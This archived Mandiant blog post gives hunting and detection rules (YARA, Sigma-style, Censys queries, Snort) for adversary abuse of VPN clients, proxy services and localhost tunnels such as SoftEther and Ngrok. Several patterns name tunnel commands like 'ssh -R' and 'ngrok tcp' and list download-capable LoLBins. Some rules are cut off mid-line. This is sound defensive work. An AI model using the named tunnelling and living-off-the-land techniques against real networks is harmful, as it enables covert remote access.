Burrowing your way into VPNs, Proxies, and Tunnels

By Mandiant

Published: 2022-06-29 · Archived: 2026-04-10 02:46:20 UTC

To understand VPN software, one must understand a VPN: A virtual private network is an encrypted connection over the Internet from a device to a network. The encrypted connection helps ensure that sensitive data is safely transmitted. It prevents unauthorized people from eavesdropping on the traffic and allows the user to conduct work remotely.

In the following, **VPN software** will be defined as any software artifacts which facilitate the use of a VPN connection (SoftEther VPN Client, OpenVPN Client, etc).

In computer science a proxy is a server which resides between the client making a request and the requested destination server. Proxies can be used for multiple purposes including network log collection, cache repository, and providing anonymized internet access. A **proxy service** is an online resource that allows a user to get the benefits of a proxy with none of the infrastructure concerns (RSocks, HideMyAss, Hide.Me, etc).

Both VPN software and proxy services facilitate the outbound connection from client to server, while localhost tunneling is similar, it facilitates the connection from the external network back to the client. This is done by what is commonly called “exposing localhost” (Ngrok, LocalTunnel, Localhost.Run, etc).

Brainstorming over the different hunt and detection directions led to the following conclusion: Detection of legitimate software and services at this scale cannot be a narrow implementation of a single detection discipline, but rather, expand across multiple disciplines.

Initiating a large-scale hunting and detection operation like this requires brainstorming through the, hopefully many, different hunting and detection options available to each organization. For example: should the organization have no ability to run snort signatures against network traffic then that type of direction can take the backseat to other primary detection methods.

Additionally, when hunting for a technology being utilized as a methodology it is easy to fall into a “whac-a-vendor” type approach focusing on each vendor’s version of the technology (i.e. Detection on SoftEther, NordVPN, Ngrok, etc). This is not a terrible approach, as it has its merits, but is not ideal. In the following sections there will be detections highlighted covering SoftEther VPN, Ngrok, and others. These are covered due to the threat dense nature of their use.The ideal hunting process would use more methodology driven detection, being more vendor agnostic, as highlighted in the following Hunting Direction sections.

Concern: Adversaries may use innocuous files that house these VPN files inside of themselves to masquerade as something other than a remote access software.

Direction: Use detection logic that can peer into the construct of the file itself to identify the VPN artifacts layered below the innocuous files.

The following can be considered hunting detections and directions for a variety of files wrapped around VPN equities and/or VPN files.

- Rich Text Format files with Embedded Hex Payloads
- Open Office XML files with Embedded VPN Target Domains
- Optical Disc Image (ISO Image) files with VPN File or Domain References
- Mach Object (Mach-O) file with VPN File or Domain References

RTF Embedded Hex Payload with Hex VPN File References

```
rule M_Hunting_VPNEngine_RTF_Embedded_1 {
   meta:
      description = "Detects a suspicious string often used in PE files in a hex encoded object stream along wi
      author = "Mandiant"
      md5 = "befec87a9742ba8e8f6e61e1133f55fb"
  strings:
      $pe = "546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f6465" ascii
      $mz = /4d5a[a-zA-Z0-9]{19,21}ffff/
      $vpn1 = /56504e[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii
      $vpn2 = /76706e[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii
      $vpn3 = /70726f7879[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii
      $vpn4 = /50726f7879[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii
      $vpn5 = /50524f5859[a-zA-Z0-9]{0,20}(2e657865|2e646c6c)/ ascii
  condition:
      filesize < 15MB and (uint16(0) == 0x5C7B) and ($pe or $mz) and (1 of ($vpn*))
}
```

OOXML with Embedded VPN Target Domains

```
rule M_Hunting_VPNEngine_OOXML_Target_1
 {
     meta:
       description = "Detects an external relationship link in an OOXML with a VPN or proxy domain."
       author = "Mandiant"
     strings:
       $relationship_external = /TargetMode=[\"\']External[\"\']/ ascii nocase wide
       $anchor = ""
       $s1 = " Target=" ascii nocase
       $s2 = " TargetMode=" ascii nocase
       $s3 = " Type=" ascii nocase
       $s4 = " Id=" ascii nocase
       $re = /Target=[\"\'][^\"\']{0,100}(vpn|proxy).{0,100}/ ascii nocase
     condition:
        (filesize < 10KB) and $anchor and $relationship_external and (1 of ($s*)) and $re
```

```
}
```

ISO Files with VPN File or Domain References

```
rule M_Hunting_VPNEngine_ArchiveEngine_ISOWithEmbeddedVPN_1
{
    meta:
        author = "Mandiant"
        description = "Looking for ISO files with embedded payloads utilizing VPN strings."
        md5 = "4c5f27d28f369da5d5ecce947bb22943"
    strings:
        $s1 = /vpn[^\.]{0,50}\.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii nocase fullword
        $s2 = /proxy[^\.]{0,50}\.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii nocase fullword
        $s3 = /vpn[a-zA-Z0-9\.]{0,50}\.(com|io|ru|org|net)/ ascii nocase
        $s4 = /proxy[a-zA-Z0-9\.]{0,50}\.(com|io|ru|org|net)/ ascii nocase
        $s5 = "remote access" ascii nocase wide fullword
        $s6 = /localhost[^a-zA-Z0-9]{0,5}tunnel/ ascii nocase fullword
    condition:
       uint32(0x8000) == 0x30444301 and uint32(0x8004) == 0x00013130 and any of them
}
```

Mach-O Files with VPN File or Domain References

```
rule M_Hunting_MacOS_VPNEngine_MachO_FEBeta_1
{
    meta:
        author = "Mandiant"
        description = "This rule looks for Mach-O files with strings indicating relationship with a VPN client
        md5 = "6de8cc7217cb3e0c235fcdde83b1140b"
    strings:
        $s1 = /vpn[^\.]{0,50}\.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii fullword nocase
        $s2 = /proxy[^\.]{0,50}\.(exe|dll|lnk|hta|rtf|ps1|vbs|vbe|pdf|doc)/ ascii fullword nocase
        $s3 = /vpn[a-zA-Z0-9\.]{0,50}\.(com|io|ru|org|net)/ ascii nocase
        $s4 = /proxy[a-zA-Z0-9\.]{0,50}\.(com|io|ru|org|net)/ ascii nocase
        $s6 = /localhost[^a-zA-Z0-9]{0,5}tunnel/ ascii fullword nocase
    condition:
        filesize < 15MB and (uint32(0) == 0xBEBAFECA or uint32(0) == 0xFEEDFACE or uint32(0) == 0xFEEDFACF or
}
```

OOXML with Embedded Files with VPN Equities

```
 # author = "Mandiant" ; type = "OOXML" ; md5 =
"a2d34e8c543aef78766b37dcaa5f7686"
M_Hunting_VPNEngine_OOXML_Target_1;Engine:51-
255,Container:CL_TYPE_ZIP,Target:0;(0&1&2)&(3|4|5|6);3c3f786d6c;3c773a646f637
56d656e74;353436383639373332303730373236663637373236313664;373637303665;35363
5303465;37303732366637383739;35303732366637383739
```

Intelligence gathering via VPN client configuration files

Concern: Many VPN clients take configuration files as input, the client itself is the concern, however, the configuration files provide intelligence insight and potential pivot points.

Direction: Use file-based analysis to identify common VPN client configuration files in public stores or on systems where these files would not be expected.

SoftEther VPN Configuration Identification

```
{
 meta:
 author = "Mandiant"
 md5 = "2586bb9e27a4b3da4ed0f5d15883f84e"
 description = "Rule looks for SoftEther config file."
 strings:
 $configfile = "Software Configuration File" ascii fullword
 $softether1 = "softether" ascii fullword nocase
 $softether2 = "EnableSoftEtherKernelModeDriver" nocase
 $topFields1 = "ListenerList"
 $topFields2 = "LocalBridgeList"
 $topFields3 = "ServerConfiguration"
 $topFields4 = "VirtualHUB"
 condition:
 filesize < 1MB and $configfile and (1 of ($softether*)) and (1 of ($topFields*))
 }
```

Ngrok VPN Configuration Identification

```
rule M_Hunting_VPNEngine_NgrokConfig_1
 {
 meta:
 author = "Mandiant"
 description = "Rule looks for Ngrok YML config file."
 md5 = "5d1dbfdc47e820605fedabb98cf17dd5"
 strings:
 $header = "authtoken:" ascii
```

```
$tokenRE = /authtoken:\s+[a-zA-Z0-9]{24,30}_[a-zA-Z0-9]{16,22}/ ascii
$tunnel = "tunnels:" ascii
condition:
filesize < 1MB and $header in (0..20) and $tokenRE and $tunnel
}
rule M_Hunting_VPNEngine_NgrokConfig_2
{
meta:
author = "Mandiant"
description = "Rule looks for Ngrok YML config file."
md5 = "5d1dbfdc47e820605fedabb98cf17dd5"
strings:
$header = "authtoken:" ascii
$tokenRE = /authtoken:\s[a-zA-Z0-9]{26,30}_[a-zA-Z0-9]{19,22}/ ascii
condition:
filesize < 1MB and $header at 0 and $tokenRE
}
```

Process execution that is masquerading as something other than what it is, a VPN client or software.

Concern: It is common to see binaries with modified names, like this SoftEther VPN Bridge renamed as iexplore.exe and conhost.exe, and other aspects to mask the true purpose of the file.

Direction: Avoid relying solely on filename-based detections hunting more for methodologies that will detect named or renamed processes, files, etc. Use process-based detection logic to identify switches, actions, and connections common to VPN components. Even lean on string-based equities to identify a binary's true identity or intent.

SoftEther VPN Detection by Network Connections

```
title: 'Renamed SoftEtherVPN by Network Connections (METHODOLOGY)'
 description: 'Detect the activity of a renamed SoftEther VPN binary by detecting known domain connections.'
 author: Mandiant
 date: '2022-06-15'
 status: hunting
 logsource:
     product: 'FireEye HX'
 detection:
     selectionDomain:
         urlMonitorEvent Hostname|contains:
             - 'get-my-ip.ddns.softether-network.net'
             - 'keepalive.softether.org'
             - 'update-check.softether-network.net'
         urlMonitorEvent Hostname|re: 'vpn[0-9a-zA-Z]{1,50}\.softether.net'
     filterProcessName:
```

```
        urlMonitorEvent Process|contains:
            - 'softether'
            - 'vpnbridge'
            - 'vpnclient'
            - 'vpncmgr'
            - 'vpngateplugin'
            - 'vpninstall'
            - 'vpnserver'
            - 'vpnsetup'
            - 'vpnmgr'
            - 'zsatunnel'
    condition: selectionDomain and not filterProcessName
fields:
    - "urlMonitorEvent Process"
    - "urlMonitorEvent Hostname"
    - "urlMonitorEvent Type"
    - "urlMonitorEvent Commandline"
falsepositives:
    - "Known proxy services like ZScaler."
level: "medium"
```

SoftEther VPN Detection by Registry Modifications

```
title: 'Renamed SoftEtherVPN by Registry Modifications (METHODOLOGY)'
description: 'Detect the activity of a SoftEther VPN binary by detecting registry modifications.'
author: Mandiant
date: '2022-06-15'
status: hunting
logsource:
    product: 'FireEye HX'
detection:
    selectionType:
        regKeyEvent Type: 1
    selectionStaticPath:
        regKeyEvent Path|contains: 'System\CurrentControlSet\Services\SEVPNCLIENT'
    selectionREPath:
        regKeyEvent Path|re: 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\[a-zA-Z0-9_\s-]{0,100}?SoftE
    condition: selectionType and (selectionStaticPath or selectionREPath)
fields:
    - "regKeyEvent Process"
    - "regKeyEvent Path"
    - "regKeyEvent Key"
    - "regKeyEvent Value"
falsepositives:
    - "Unknown"
```

```
level: "medium"
```

Generic VPN Switches from Commandline (Hunting)

Hunting for common VPN equities in process commandline switches to include but not limited to vpn, proxy, sstp, and l2tp.

```
title: 'VPN-like Process with Known Switches (METHODOLOGY)'
description: 'Detect suspected VPN binaries by known commandline switches.'
author: Mandiant
date: '2022-06-15'
status: hunting
logsource:
    product: 'FireEye HX'
detection:
    selectionProcessType:
        processEvent eventType: "start"
    selectionSwitchOptions1:
        processEvent processCmdLine|contains:
            - ' --vpn'
            - ' --proxy'
    selectionSwitchOptionsMethod1:
        processEvent processCmdLine|contains:
            - 'ssl'
            - 'l2tp'
            - 'sstp'
    selectionSwitchOptions2:
        processEvent processCmdLine|contains:
            - 'vpn'
            - 'proxy'
    selectionSwitchOptionsMethod2:
        processEvent processCmdLine|contains:
            - ' --ssl'
            - ' --l2tp'
            - ' --sstp'
    condition: selectionProcessType and ((selectionSwitchOptions1 and selectionSwitchOptionsMethod1) or (selec
fields:
    - "processEvent processCmdLine"
    - "processEvent Process"
    - "processEvent Username"
    - "processEvent Md5"
falsepositives:
    - "Unknown"
```

```
    level: "low"
```

Generic VPN Domains from the Process (Hunting)

Identifying processes that initiate a network connection to VPN or proxy domains with the following regular expression.

(vpn|proxy)\.[^.]{1,100}\.(net|com|org|io|ru)

This leans heavily on a common practice to use domains in the format of vpn.company[.]com or proxy.company[.]com. While this is not completely inclusive, it leads to enough hunting opportunities to get started and if they are exhausted the regular expression can be loosened.

```
title: 'Generic VPN Domains from the Process (Hunting)'
description: 'Identifying processes that initiate a network connection to VPN or proxy domains with the follow
author: Mandiant
date: '2022-06-15'
status: hunting
logsource:
    product: 'FireEye HX'
detection:
    selectionDomain:
        urlMonitorEvent Hostname|re:
            - 'vpn\.[^.]{1,100}\.(net|com|org|io)'
            - 'proxy\.[^.]{1,100}\.(net|com|org|io)'
    filterProcessName:
        urlMonitorEvent Process|contains:
            - 'proxy'
            - 'vpn'

    condition: selectionDomain and not filterProcessName
fields:
    - "urlMonitorEvent Process"
    - "urlMonitorEvent Hostname"
    - "urlMonitorEvent Type"
    - "urlMonitorEvent Commandline"
falsepositives:
    - "Known proxy services like ZScaler."
    - "Other legitimate in-house proxies."
level: "low"
```

Generic VPN User Agents from the Process (Hunting)

Identifying the use of legitimate VPN agents leads to a plethora of hunting opportunities. Searching for VPN and proxy keywords within HTTP user-agent strings will drive these opportunities. Applying tuning with a known authorized software list or authorized VPN/proxy domains can reduce false positives.

```
title: 'Generic VPN User Agents from the Process (Hunting)'
description: 'Searching for VPN and proxy keywords within HTTP user-agent strings.'
author: Mandiant
date: '2022-06-15'
status: hunting
logsource:
    product: 'FireEye HX'
detection:
    selectionUserAgent:
        urlMonitorEvent userAgent|contains:
            - 'proxy'
            - 'vpn'
    filterHostname:
        urlMonitorEvent Hostname|contains:
            - 'vpn'
            - 'proxy'
    condition: selectionUserAgent and not filterHostname
fields:
    - "urlMonitorEvent Process"
    - "urlMonitorEvent Hostname"
    - "urlMonitorEvent Type"
    - "urlMonitorEvent Commandline"
falsepositives:
    - "Known proxy services like ZScaler."
    - "Other legitimate in-house proxies."
    - "FortiSSLVPN"
    - "GoogleImageProxy"
    - "ESET Security proxy detection"
level: "low"
```

Generic SoftEther VPN Equities (Hunting)

Utilizing unique equities to detect known SoftEther functionality within a binary will help bypass process name detection and identify functionality - such as with UNC3500 in the use-case discussed below.

```
rule M_Hunting_Linux_VPNEngine_GenericSoftEther_1
{
    meta:
        author = "Mandiant"
```

```
        description = "Rule looks for SoftEther generic terms in samples."
    strings:
        $domain = "update-check.softether-network.net" ascii fullword
        $keepalive = "keepalive.softether.org"
        $vpn = "SoftEther Corporation" ascii fullword
    condition:
        filesize < 10MB and uint32(0) == 0x464c457f and all of them
}
```

Files or processes that, when executed, reach outbound and download a know VPN client

Concern: There are hundreds of ways to perform remote downloads like using living off the land binaries or via custom code. However, if a process is seen downloading a VPN client in a method that does not follow normal user behavior, the intent may be to utilize this client for malicious behavior.

Direction: Identify outbound connections to download VPN client software by living off the land binaries.

Living off the Land Binaries with VPN Domains

A *Living off the Land* event describes a computer event in which actors use legitimate software and functions available in the system to perform malicious actions on it. These legitimate software binaries are considered *Living off the Land Binaries* (LoLBins) and when combined with VPN or proxy methodologies allow for robust and camouflaged operations.

Utilizing process data to hunt for these LoLBins that have download functionality in combination with VPN and proxy domains may lead to identifying their abuse.

```
 title: 'Living off the Land Binaries with VPN Domains (Hunting)'
description: 'Utilizing process data to hunt for LoLBins that have download functionality in combination with VP
author: Mandiant
date: '2022-06-15'
status: hunting
logsource:
    product: 'FireEye HX'
detection:
    selectionProcessName:
        urlMonitorEvent Process:
            - 'AppInstaller.exe'
            - 'Bitsadmin.exe'
            - 'CertOC.exe'
            - 'CertReq.exe'
            - 'Certutil.exe'
            - 'cmdl32.exe'
            - 'Desktopimgdownldr.exe'
            - 'Diantz.exe'
```

```
            - 'Esentutl.exe'
            - 'Expand.exe'
            - 'Extrac32.exe'
            - 'Findstr.exe'
            - 'Finger.exe'
            - 'GfxDownloadWrapper.exe'
            - 'Hh.exe'
            - 'Ieexec.exe'
            - 'Imewdbld.exe'
            - 'Makecab.exe'
            - 'MpCmdRun.exe'
            - 'PrintBrm.exe'
            - 'Replace.exe'
            - 'Squirrel.exe'
            - 'Wsl.exe'
            - 'Xwizard.exe'
    selectionUrl:
        urlMonitorEvent requestUrl|re: '[a-zA-Z0-9\.]{0,50}(vpn|proxy)[a-zA-Z0-9\.]{0,50}\.exe'
    condition: selectionProcessName and selectionUrl
fields:
    - "urlMonitorEvent Process"
    - "urlMonitorEvent Hostname"
    - "urlMonitorEvent requestUrl"
    - "urlMonitorEvent Commandline"
falsepositives:
    - "Unknown"
level: "medium"
```

Proxy Service Directions

Infrastructure configured to receive VPN or proxy connections

Concern: Host-based visibility may be a data source organizations lack, and therefore have difficulty identifying these equities. This leads to lack of detection and hunting directions.

Direction: Moving away from the host and into the internet infrastructure hunting, there are numerous tools and data sources that allow for identifying infrastructure qualities, which may allow analysts to automate the detection of certain VPN endpoints and servers.

Note: This is relevant for all three technologies, VPN clients, proxy services, and tunnels.

The following includes a list of different hunting queries focusing in on specific and generic VPN or proxy infrastructure.

- Generic VPN and Proxy Domains
- Generic VPN Certificates
- MeFound VPN Service

- Hide.Me VPN Service
- OpenVPN Services
- Cisco IOS SSL VPN Services
- Wireguard VPN Infrastructure
- SoftEther VPN Infrastructure
- Ngrok Service Infrastructure

Generic VPN and Proxy

VPN Domain

```
services.tls.certificates.leaf_data.issuer.common_name:/.*\.vpn\..*\.[a-z]{1,4}/
```

Proxy Domain

```
services.tls.certificates.leaf_data.issuer.common_name:/.*\.proxy\..*\.[a-z]{1,4}/
```

Generic VPN Cert CN and Org

Generic VPN Certificate Common Name and Organization

```
parsed.issuer.common_name:"VPN" and parsed.subject.organization:"VPN"
```

Other VPN Service Domains

MeFound

```
 services.tls.certificates.leaf_data.issuer.common_name:/[^\.]+\.mefound\.com/
or
services.tls.certificates.leaf_data.subject.common_name:/[^\.]+\.mefound\.com/
or services.tls.certificates.leaf_data.names:/[^\.]+\.mefound\.com/
```

Hide.Me Proxy Server

```
 services.tls.certificates.leaf_data.names:/.*hide\.me.*/ services.tls.certificates.leaf_data.names=hideservers
```

OpenVPN

```
 services.tls.certificates.leaf_data.subject.organization:"ocvpn" or
services.tls.certificates.leaf_data.subject.common_name:"ocvpn"
```

Cisco IOS SSL VPN

```
services.http.response.headers.set_cookie:/webvpn[a-z]*=.*/
```

Wireguard

```
(services.http.response.html_title:/.*WireGuard VPN.*/) or
(services.http.response.body:/.*Wireguard VPN.*/)
(services.http.response.html_title:/.*Wireguard.*/ or
services.http.response.body:/.*Wireguard.*/) and not
((services.http.response.html_title:/.*WireGuard VPN.*/) or
(services.http.response.body:/.*Wireguard VPN.*/)) and not
((services.http.response.html_title:/.*Turnkey WireGuard.*/) or
(services.http.response.body:/.*Turnkey Wireguard.*/))
```

SoftEther

SoftEther on Abused IP Space

```
services.tls.certificates.leaf_data.subject.common_name:/.*\.softether\.net/
AND autonomous_system.name=`HETZNER-AS`
services.tls.certificates.leaf_data.subject.common_name:/.*softether.net/
AND autonomous_system.name=`DIGITALOCEAN-ASN`
services.tls.certificates.leaf_data.subject.common_name:/.*softether.net/
AND autonomous_system.name=`AS-CHOOPA`
services.tls.certificates.leaf_data.subject.common_name:/.*\.softether\.net/
AND autonomous_system.name=`OVH`
```

Untrusted SoftEther Certificates

Untrusted VPN Custom SoftEther Certificates

```
parsed.subject.common_name:/vpn[0-9]{1,15}\.softether\.net/ AND tags.raw:
"untrusted" AND NOT parsed.subject.common_name:/vpn[0-9]
{1,15}\.softether\.net/
```

Untrusted VPN Non-Custom SoftEther Certificates

```
parsed.subject.common_name:/vpn[0-9]{1,15}\.softether\.net/ AND tags.raw:
"untrusted"
```

SoftEther Generic

SoftEther VPN Domain on Certificate

```
 same_service(services.tls.certificates.leaf_data.issuer.common_name:/.*\.softether\.net/
AND services.port:443)
```

HTTP/S SoftEther VPN IPs

```
 same_service(services.tls.certificates.leaf_data.issuer.common_name:/.*\.softether\.net/
AND (services.service_name=`HTTP` OR
services.extended_service_name=`HTTPS`))
```

Non-US IP hosting SoftEther VPN domain

```
 same_service(services.tls.certificates.leaf_data.subject.common_name:/vpn.*softether.net/
AND NOT services.tls.certificates.leaf_data.issuer.country:"US")
```

Ngrok Domains

Ngrok Domain

```
 services.tls.certificates.leaf_data.names:/.*ngrok.*/
```

Ngrok Inspect Service

```
 same_service(services.http.request.uri:/.*inspect.*/ and
services.http.request.uri:/.*http.*/ and
services.http.response.html_title:"ngrok")
```

ProtonVPN

Proton VPN Services

```
 services.tls.certificates.leaf_data.issuer.organizational_unit:protonvpn or
services.http.response.html_title:protonvpn
```

Browser Extensions used for Proxy Services

Concern: Many proxy services have a companion browser extension and, while not commonly observed, may allow an adversary to use this service.

Additionally, adversaries may use loader functionality to access VPN or proxy services via Chrome. This could be observed in PowerShell loader scripts or LNK files where the --load-extension switch can be used with Chrome to load a specific extension.

Direction: Narrow focus in file analysis to browser extension artifacts and then within said artifacts for VPN equities. This can be done directly against browser extension manifest files or portable executable files.

Loading Chrome VPN or Proxy Extension

```
 rule M_METHODOLOGY_VPNEngine_LoadVPNProxyChromeExtension_1
{
    meta:
        author = "Mandiant"
        description = "Hunting rule that looks for files containing strings pertaining to execution of Chrome t
    strings:
        $r1 = /chrome[^\r\n]*?--load-extension=/ ascii nocase wide
        $s1 = "chrome" ascii wide
        $s2 = "--load-extension=" ascii wide
        $p1 = "vpn" ascii wide fullword nocase
        $p2 = "proxy" ascii wide fullword nocase
    condition:
        filesize < 50KB and all of ($s*) and $r1 and ($p1 or $p2)
}
```

Chrome Extension Manifest File for Proxies

```
 rule M_Hunting_VPNEngine_ChromeExtensions_1
{
    meta:
        author = "Mandiant"
        md5 = "995f7d9ca805cce59acbeff82ed4adc6"
    strings:
        $manifest1 = "\"manifest_version\":" ascii nocase
        $manifest2 = "\"name\":" ascii nocase
        $manifest3 = "\"version\":" ascii nocase
        $optional1 = "\"author\":" ascii nocase
        $optional2 = "\"browser_action\":" ascii nocase
        $optional3 = "\"content_security_policy\":" ascii nocase
        $optional4 = "\"default_icon\":" ascii nocase
        $optional5 = "\"default_locale\":" ascii nocase
        $optional6 = "\"default_title\":" ascii nocase
        $optional7 = "\"description\":" ascii nocase
        $optional8 = "\"differential_fingerprint\":" ascii nocase
        $optional9 = "\"icons\":" ascii nocase
        $optional10 = "\"permissions\":" ascii nocase
        $optional11 = "\"background\":" ascii nocase
        $anchorre1 = /\"default_title\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
        $anchorre2 = /\"description\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
        $anchorre3 = /\"name\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
        $anchorre4 = /\"short_name\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
```

```
        $anchorre5 = /\"default_title\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
        $anchorre6 = /\"description\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
        $anchorre7 = /\"name\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
        $anchorre8 = /\"short_name\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
    condition:
        filesize < 1MB and $manifest1 and $manifest2 and $manifest3 and (2 of ($optional*)) and (1 of ($anchorre
}
```

Chrome Extension Equities in a Binary

```
 rule M_Hunting_VPNEngine_ChromeExtensionInBinary_1
{
    meta:
        author = "Mandiant"
        md5 = "2e09a136e40143ed3317c9ce6ea027a6"
    strings:
        $manifest1 = "\"manifest_version\":" ascii nocase
        $manifest2 = "\"name\":" ascii nocase
        $manifest3 = "\"version\":" ascii nocase
        $optional1 = "\"author\":" ascii nocase
        $optional2 = "\"browser_action\":" ascii nocase
        $optional3 = "\"content_security_policy\":" ascii nocase
        $optional4 = "\"default_icon\":" ascii nocase
        $optional5 = "\"default_locale\":" ascii nocase
        $optional6 = "\"default_title\":" ascii nocase
        $optional7 = "\"description\":" ascii nocase
        $optional8 = "\"differential_fingerprint\":" ascii nocase
        $optional9 = "\"icons\":" ascii nocase
        $optional10 = "\"permissions\":" ascii nocase
        $optional11 = "\"background\":" ascii nocase
        $anchorre1 = /\"default_title\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
        $anchorre2 = /\"description\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
        $anchorre3 = /\"name\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
        $anchorre4 = /\"short_name\": \"[^\"]{0,100}[pP]roxy[^\"]{0,100}\"/ ascii
        $anchorre5 = /\"default_title\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
        $anchorre6 = /\"description\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
        $anchorre7 = /\"name\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
        $anchorre8 = /\"short_name\": \"[^\"]{0,100}(VPN|\s+vpn|vpn\s+)[^\"]{0,100}\"/ ascii
    condition:
        ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesize
}
```

LocalHost Tunnel Directions

Use of Legitimate Processes

Concern: Many LocalHost Tunnel processes utilize either legitimate processes (SSH) or custom non-malicious binaries (ngrok, lt) to implement the tunnel. This hinders detection of abuse because detection leans towards methodology and not binary identification.

Direction: LocalHost Tunnels typically use unique and moderately identifiable structure of process commandlines, this allows for to detection opportunities.

LocalHost Tunnel Commandlines

Localhost Tunnel Host Commands (METHODOLOGY)

```
 title: 'Localhost Tunnel Host Commands (METHODOLOGY)'
description: 'Detect potential localhost tunnel commandlines.'
author: Mandiant
date: '2022-06-15'
status: hunting
logsource:
    product: 'FireEye HX'
detection:
    selectionKnownCMDs:
        processEvent processCmdLine|re:
            - 'ngrok\s+(http|tcp|tls|start)\s+'
            - 'lt\s+--port\s+[0-9]{1,5}'
            - 'gotunnelme\s+[0-9]{1,5}'
    selectionNgrokProcess:
        processEvent processCmdLine|contains: "ngrok"
    selectionNgrokCMD:
        processEvent processCmdLine|contains:
            - 'http '
            - 'tls '
            - 'tcp '
            - 'start '
    selectionLHRun1:
        processEvent processCmdLine|contains: "ssh"
    selectionLHRun2:
        processEvent processCmdLine|contains: "-R"
    selectionLocalTunnel1:
        processEvent processCmdLine|contains: "localtunnel"
    selectionLocalTunnel2:
        processEvent processCmdLine|contains: "--port"
    selectionLocalTunnel3:
        processEvent processCmdLine|contains:
            - "/lt"
            - "\lt"
            - " lt"
    selectionLocalTunnel4:
        processEvent processCmdLine|contains:
```

```
            - " http"
            - " https"
    selectionLocalTunnel5:
        processEvent processCmdLine|contains:
            - "-s"
            - "--server"
            - "-h"
            - "--host"
            - "-p"
            - "--port"
    condition: selectionKnownCMDs or (selectionNgrokProcess and selectionNgrokCMD) or (selectionLHRun1 and selec
fields:
    - "processEvent processCmdLine"
    - "processEvent Process"
    - "processEvent Username"
    - "processEvent Md5"
falsepositives:
    - "Unknown"
level: "medium"
```

Ngrok Agent IPs in Network Traffic

Historically, Ngrok's tunneling protects origin servers by hiding the origin IPs. However, the origin IPs for all free endpoints are exposed in the ngrok-agent-ips header on all HTTP responses returned by the tunnel endpoint. This can easily be hunted for and detected via Snort to better label and understand network session data.

```
 alert tcp any any -> any any ( msg:"M.Tunneler.HTTP.Ngrok.[response]"; content:"HTTP/1"; depth:6; content:"200
```

Other Generic Directions

Files that contain common VPN equities

Concern: Adversaries may use modified binaries to interact with VPN infrastructure. This more general direction allows for a comprehensive look into potential VPN-like behavior.

Direction: Identify core binary components that are not so easily modified to match on (i.e. PDB paths, exports, third-party libraries, domains, etc)

Generic Domains in Binaries

```
 rule M_Hunting_VPNEngine_GenericProxyVPNDomain_1
{
    meta:
        author = "Mandiant"
        description = "Rule looks for generic proxy/vpn domains."
        md5 = "96842ad6cc00fab5776171c56812b9a5"
```

```
    strings:
        $UniqueProxyVPNDomain = /(proxy|vpn)\.[^\.]{1,100}\.(net|com|org)/ ascii fullword nocase
    condition:
        filesize < 5MB and ((uint16(0) == 0x5a4d and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464
}
```

ConventionEngine

As documented in the Definitive Dossier of Devilish Debug Details: Part One:

“Often users name folders and files based on their content. Computers force users to label and annotate their data based on the data type, role, and purpose. This human-computer **convention** means that most digital content has some descriptive surface area, or descriptive “features” that are present in many files, including malware files…. Not all these features were meant to be in [a binary], and they were certainly not intended for defenders to notice. This is especially true for PDB paths, which can be described as an outcome of the compilation process, a toolmark left in malware that describes the development environment.”

VPN or Proxy PDB Convention

```
 rule M_Hunting_Win_VPNEngine_PDB_1
{
    meta:
        author = "Mandiant"
        description = "Rule looks for VPN or Proxy PDB."
        md5 = "2bf422e19e721b461f9e98271fb28ad3"
    strings:
        $pdb = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,500}(vpn|proxy)[\x00-\xFF]{0,500}\.pdb\x00/ ascii no
    condition:
        filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pdb
}
```

Hunting 3rd Party Libraries

While some products are more popular than others, there are countless VPN software companies and products. Therefore, relying on specific brand detections is not suitable for purposes of wide detections. Hence, **detection on popular third-party libraries** that these software use at scale would allow a broader and more inclusive scope. Some of these third-party tunnel libraries include gotunnelme, golocaltunnel, localtunnel.net, and zdtun.

GoTunnelMe Library

```
 rule M_Hunting_AscensionEngine_gotunnelme_1
{
    meta:
        author = "Mandiant"
        description = "Rule looks for binaries that use gotunnelme."
        md5 = "35fcc4b19946d1bc9c21add1f42d2b63"
```

```
    strings:
        $anchor = "gotunnelme" ascii nocase wide
        $func1 = "NewTunnelConn" ascii nocase wide
        $func2 = "Tunnel" ascii nocase wide
        $func3 = "StopTunnel" ascii nocase wide
               $func4 = "ConnectRemote" ascii nocase wide
               $func5 = "NewTunnel" ascii nocase wide
               $func6 = "GetUrl" ascii nocase wide
    condition:
         ((uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) or (uint32(0) == 0x464c457f)) and filesi
}
```

GoLocalTunnel Library

```
